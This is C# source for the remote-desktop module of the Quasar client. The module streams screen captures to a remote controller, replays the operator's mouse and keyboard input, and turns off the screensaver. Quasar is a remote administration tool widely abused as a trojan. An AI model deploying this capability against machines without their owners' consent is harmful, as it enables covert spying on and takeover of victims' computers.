using Quasar.Client.Helper; using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Networking; using Quasar.Common.Video; using Quasar.Common.Video.Codecs; using System; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Windows.Forms; namespace Quasar.Client.Messages { public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable { private UnsafeStreamCodec _streamCodec; public override bool CanExecute(IMessage message) => message is GetDesktop || message is DoMouseEvent || message is DoKeyboardEvent || message is GetMonitors; public override bool CanExecuteFrom(ISender sender) => true; public override void Execute(ISender sender, IMessage message) { switch (message) { case GetDesktop msg: Execute(sender, msg); break; case DoMouseEvent msg: Execute(sender, msg); break; case DoKeyboardEvent msg: Execute(sender, msg); break; case GetMonitors msg: Execute(sender, msg); break; } } private void Execute(ISender client, GetDesktop message) { // TODO: Switch to streaming mode without request-response once switched from windows forms // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex)); var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; if (_streamCodec == null) _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); if (message.CreateNew) { _streamCodec?.Dispose(); _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); OnReport("Remote desktop session started"); } if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) { _streamCodec?.Dispose(); _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); } BitmapData desktopData = null; Bitmap desktop = null; try { desktop = ScreenHelper.CaptureScreen(message.DisplayIndex); desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), ImageLockMode.ReadWrite, desktop.PixelFormat); using (MemoryStream stream = new MemoryStream()) { if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); _streamCodec.CodeImage(desktopData.Scan0, new Rectangle(0, 0, desktop.Width, desktop.Height), new Size(desktop.Width, desktop.Height), desktop.PixelFormat, stream); client.Send(new GetDesktopResponse { Image = stream.ToArray(), Quality = _streamCodec.ImageQuality, Monitor = _streamCodec.Monitor, Resolution = _streamCodec.Resolution }); } } catch (Exception) { if (_streamCodec != null) { client.Send(new GetDesktopResponse { Image = null, Quality = _streamCodec.ImageQuality, Monitor = _streamCodec.Monitor, Resolution = _streamCodec.Resolution }); } _streamCodec = null; } finally { if (desktop != null) { if (desktopData != null) { try { desktop.UnlockBits(desktopData); } catch { } } desktop.Dispose(); } } } private void Execute(ISender sender, DoMouseEvent message) { try { Screen[] allScreens = Screen.AllScreens; int offsetX = allScreens[message.MonitorIndex].Bounds.X; int offsetY = allScreens[message.MonitorIndex].Bounds.Y; Point p = new Point(message.X + offsetX, message.Y + offsetY); // Disable screensaver if active before input switch (message.Action) { case MouseAction.LeftDown: case MouseAction.LeftUp: case MouseAction.RightDown: case MouseAction.RightUp: case MouseAction.MoveCursor: if (NativeMethodsHelper.IsScreensaverActive()) NativeMethodsHelper.DisableScreensaver(); break; } switch (message.Action) { case MouseAction.LeftDown: case MouseAction.LeftUp: NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown); break; case MouseAction.RightDown: case MouseAction.RightUp: NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown); break; case MouseAction.MoveCursor: NativeMethodsHelper.DoMouseMove(p); break; case MouseAction.ScrollDown: NativeMethodsHelper.DoMouseScroll(p, true); break; case MouseAction.ScrollUp: NativeMethodsHelper.DoMouseScroll(p, false); break; } } catch { } } private void Execute(ISender sender, DoKeyboardEvent message) { if (NativeMethodsHelper.IsScreensaverActive()) NativeMethodsHelper.DisableScreensaver(); NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown); } private void Execute(ISender client, GetMonitors message) { client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length}); } /// /// Disposes all managed and unmanaged resources associated with this message processor. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { _streamCodec?.Dispose(); } } } }